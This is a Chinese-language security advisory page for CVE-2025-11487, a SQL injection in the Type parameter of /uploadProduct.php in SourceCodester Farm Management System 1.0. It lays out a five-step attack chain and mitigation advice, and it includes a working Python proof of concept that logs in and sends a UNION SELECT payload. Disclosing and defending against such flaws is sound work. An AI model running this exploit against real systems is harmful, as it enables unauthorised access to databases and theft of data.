IPBUF安全漏洞报告
English
CVE-2025-11487 CVSS 6.3 中危

CVE-2025-11487:SourceCodester Farm Management System SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11487
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Farm Management System

相关标签

SQL注入SourceCodesterFarm Management SystemPHPWeb应用漏洞CVE-2025-11487中危漏洞uploadProduct.php

漏洞概述

CVE-2025-11487是SourceCodester Farm Management System 1.0版本中存在的SQL注入安全漏洞。该漏洞位于/uploadProduct.php文件中,攻击者可以通过操纵其中的Type参数执行SQL注入攻击。由于该漏洞可以通过网络远程利用,且攻击复杂度较低(AC:L),同时仅需要低权限认证(PR:L),因此对部署该系统的农业生产管理环境构成实质性安全威胁。

根据CVSS 3.1评分体系,该漏洞评分为6.3分,属于中危级别。漏洞的机密性、完整性和可用性影响均为低级别(C:L/I:L/A:L),表明攻击者虽然能够读取、修改部分数据并对服务可用性造成一定影响,但不会造成系统级别的完全沦陷。然而,SQL注入漏洞常常被攻击者作为初始访问向量,进一步利用以获取更高权限或执行更复杂的攻击链。

该漏洞的利用代码已公开发布在GitHub上(参考链接:https://github.com/DrNbnonono/CVE/issues/11),意味着该漏洞面临较高的实际被利用风险。SourceCodester作为面向中小型企业的开源Web应用提供商,其产品广泛应用于农业管理领域,因此该漏洞可能影响大量部署了该系统的农业生产企业。

技术细节

该漏洞的核心问题在于/uploadProduct.php文件未对用户输入的Type参数进行充分的过滤和参数化处理。攻击者可以通过在HTTP请求中构造恶意的SQL语句片段,将其注入到Type参数中,从而改变原始SQL查询的逻辑结构。

从技术实现角度来看,当用户通过Web界面提交产品上传请求时,后端PHP脚本会接收Type参数并将其直接拼接到SQL查询语句中,而没有使用预处理语句(Prepared Statements)或参数化查询(Parameterized Queries)等安全防护措施。攻击者可以利用经典的SQL注入技术,如UNION SELECT联合查询注入、布尔盲注或时间盲注等方式,从数据库中提取敏感信息。

由于漏洞的认证要求为低权限(PR:L),这意味着攻击者需要拥有系统的一个有效账户才能发起攻击。但一旦认证通过,攻击者就可以利用该漏洞绕过应用层的访问控制,直接与后端数据库交互。攻击向量为网络(AV:N),无需用户交互(UI:N),表明攻击可以通过自动化工具批量执行。

根据已公开的PoC代码(GitHub链接),该漏洞的利用相对直接,攻击者可以通过构造特殊的HTTP POST请求,将恶意SQL负载注入到Type参数中,从而实现未授权的数据访问或数据篡改。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别暴露在公网上的SourceCodester Farm Management System 1.0实例,并获取有效的低权限账户凭证(可通过暴力破解或购买泄露凭证获取)。
STEP 2
步骤2:身份认证
攻击者使用获取的凭证登录目标系统,建立有效的会话(Session),为后续的注入攻击做准备。
STEP 3
步骤3:构造注入载荷
攻击者分析/uploadProduct.php的请求结构,构造针对Type参数的SQL注入Payload,可采用UNION联合查询、布尔盲注或时间盲注等多种技术。
STEP 4
步骤4:执行注入攻击
攻击者通过认证后的会话发送包含恶意Payload的HTTP POST请求到/uploadProduct.php,触发SQL注入漏洞。
STEP 5
步骤5:数据提取与权限提升
攻击者利用注入漏洞提取数据库中的敏感信息(如管理员凭证哈希),并可能进一步利用这些信息提升权限,实现对系统的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11487 - SourceCodester Farm Management System SQL Injection PoC # Vulnerability: SQL Injection via 'Type' parameter in /uploadProduct.php # CVSS: 6.3 (MEDIUM) import requests # Target configuration TARGET_URL = "http://target.com/uploadProduct.php" USERNAME = "test_user" # Low-privilege authenticated user PASSWORD = "test_password" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post("http://target.com/login.php", data=login_data) # Step 2: Craft SQL injection payload for the 'Type' parameter # Using UNION-based injection to extract database information sql_payload = "' UNION SELECT 1,user(),database(),version(),5,6,7,8-- -" # Step 3: Send the malicious request files = { "image": ("test.jpg", b"dummy_image_content", "image/jpeg") } data = { "Type": sql_payload, "productName": "test", "description": "test" } response = session.post(TARGET_URL, data=data, files=files) # Step 4: Parse the response for extracted data if response.status_code == 200: print("[+] Injection successful!") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status code: {response.status_code}")

影响范围

SourceCodester Farm Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,阻断包含UNION、SELECT等关键字的恶意请求;2)限制/uploadProduct.php端点的访问,仅允许受信任的IP地址访问;3)加强账户管理,定期更换密码并启用多因素认证;4)监控数据库日志,及时发现异常查询行为;5)对数据库中的敏感数据进行加密存储,降低数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表